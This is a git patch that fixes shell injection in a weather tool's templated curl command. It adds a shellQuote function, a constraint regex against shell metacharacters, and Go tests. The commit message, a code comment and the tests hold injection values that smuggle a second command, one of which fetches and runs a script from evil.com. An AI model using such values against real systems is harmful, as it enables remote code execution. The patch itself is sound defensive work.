From 7814e5c3dfd0723dec940bdaa63e5702f465bdd8 Mon Sep 17 00:00:00 2001 From: holistis Date: Tue, 15 Sep 2026 14:16:50 +0200 Subject: [PATCH] fix: shell-quote injection in the weather example's location parameter ProcessTemplate substitutes parameters into a shell command with Go's text/template, no shell-escaping applied. The weather tool's command wrapped location in a literal '...' in the YAML, so a value like x'; curl evil.com/x.sh | sh # broke out of that quoting and ran a second command. The calculator and secure_shell tools in the same file already defend their own parameters with a "Prevent shell injection" constraint; weather was missing the equivalent. Adds a shellQuote template function (proper POSIX single-quote escaping, i.e. wrapping in '...' and replacing an embedded ' with '\''), registered in ProcessTemplate's Funcs map so any tool author can use it. sprig's own quote/squote helpers don't escape an embedded quote character, so they don't actually close this gap. Updates the weather example to interpolate location through {{ .location | shellQuote }} instead of a bare {{ .location }} inside manual quotes, and adds a same-style defensive constraint matching the sibling tools. Adds pkg/common/templates_test.go (no prior tests existed for this file), including a test that renders the same template both ways to show the naive form is exploitable and the shellQuote form isn't. Ran go build ./... and go test ./... (whole repo): all green, no regressions. Also loaded examples/config.yaml through the project's own config.NewConfigFromFile to confirm it still parses and the rendered command template is exactly as intended. --- examples/config.yaml | 5 +-- pkg/common/templates.go | 23 +++++++++++- pkg/common/templates_test.go | 69 ++++++++++++++++++++++++++++++++++++ 3 files changed, 94 insertions(+), 3 deletions(-) create mode 100644 pkg/common/templates_test.go diff --git a/examples/config.yaml b/examples/config.yaml index 651e3ce..e690ddd 100644 --- a/examples/config.yaml +++ b/examples/config.yaml @@ -33,14 +33,15 @@ mcp: constraints: - "location.size() > 0" # Location must not be empty - "location.size() <= 50" # Limit location length + - "!location.matches(\"[;&|`]\")" # Prevent shell injection - "format == '' || format == 'simple' || format == 'detailed'" # Restrict format values run: timeout: "15s" command: | if [ "{{ .format }}" = "detailed" ]; then - curl -s --max-time 5 'https://wttr.in/{{ .location }}?format=v2' + curl -s --max-time 5 "https://wttr.in/"{{ .location | shellQuote }}"?format=v2" else - curl -s --max-time 5 'https://wttr.in/{{ .location }}?format=3' + curl -s --max-time 5 "https://wttr.in/"{{ .location | shellQuote }}"?format=3" fi output: prefix: | diff --git a/pkg/common/templates.go b/pkg/common/templates.go index 603c3a3..17eb599 100644 --- a/pkg/common/templates.go +++ b/pkg/common/templates.go @@ -8,6 +8,25 @@ import ( "github.com/Masterminds/sprig/v3" ) +// shellQuote wraps s in single quotes for safe interpolation into a POSIX +// shell command, escaping any single quotes already in s so the value +// cannot break out of the quoting. +// +// sprig's own "quote"/"squote" helpers just wrap the value in quotes +// without escaping an embedded quote character, so they are not safe for +// this purpose: a location value like `x'; curl evil.com/x.sh | sh #` +// would still break out of a bare `'{{ .location }}'` (or a +// sprig-squoted one) and inject a second command. shellQuote is +// registered under its own name precisely so it isn't confused with +// those. +// +// Tool authors: prefer piping any parameter you interpolate into a shell +// command through this function, e.g. `{{ .location | shellQuote }}`, +// rather than wrapping it in literal quotes yourself. +func shellQuote(s string) string { + return "'" + strings.ReplaceAll(s, "'", `'\''`) + "'" +} + // ProcessTemplate processes a template with the given arguments. // It uses Go's template engine to substitute variables in the template. // @@ -20,9 +39,11 @@ import ( // - An error if template processing fails func ProcessTemplate(text string, args map[string]interface{}) (string, error) { // Create a template from the command string + funcs := sprig.FuncMap() + funcs["shellQuote"] = shellQuote tmpl, err := template.New("command"). Option("missingkey=zero"). - Funcs(sprig.FuncMap()). + Funcs(funcs). Parse(text) if err != nil { return "", err diff --git a/pkg/common/templates_test.go b/pkg/common/templates_test.go new file mode 100644 index 0000000..cbb75b7 --- /dev/null +++ b/pkg/common/templates_test.go @@ -0,0 +1,69 @@ +package common + +import ( + "testing" +) + +func TestShellQuote(t *testing.T) { + tests := []struct { + name string + in string + want string + }{ + { + name: "plain value", + in: "London", + want: "'London'", + }, + { + name: "empty value", + in: "", + want: "''", + }, + { + name: "value with spaces", + in: "New York", + want: "'New York'", + }, + { + name: "single quote injection attempt", + in: "x'; curl evil.com/x.sh | sh #", + want: `'x'\''; curl evil.com/x.sh | sh #'`, + }, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + got := shellQuote(tt.in) + if got != tt.want { + t.Errorf("shellQuote(%q) = %q, want %q", tt.in, got, tt.want) + } + }) + } +} + +// TestShellQuoteBreaksOutOfNaiveWrapping documents, via ProcessTemplate +// itself, that a value passed through shellQuote cannot terminate the +// quoted string it's substituted into the way a bare, un-escaped +// substitution can. +func TestShellQuoteBreaksOutOfNaiveWrapping(t *testing.T) { + malicious := "x'; touch /tmp/pwned #" + + naive, err := ProcessTemplate(`echo '{{ .value }}'`, map[string]interface{}{"value": malicious}) + if err != nil { + t.Fatalf("ProcessTemplate (naive) error = %v", err) + } + wantNaive := `echo 'x'; touch /tmp/pwned #'` + if naive != wantNaive { + t.Fatalf("naive template result = %q, want %q (the point of this test is that the naive form IS broken)", naive, wantNaive) + } + + quoted, err := ProcessTemplate(`echo {{ .value | shellQuote }}`, map[string]interface{}{"value": malicious}) + if err != nil { + t.Fatalf("ProcessTemplate (shellQuote) error = %v", err) + } + wantQuoted := `echo 'x'\''; touch /tmp/pwned #'` + if quoted != wantQuoted { + t.Errorf("shellQuote template result = %q, want %q", quoted, wantQuoted) + } +}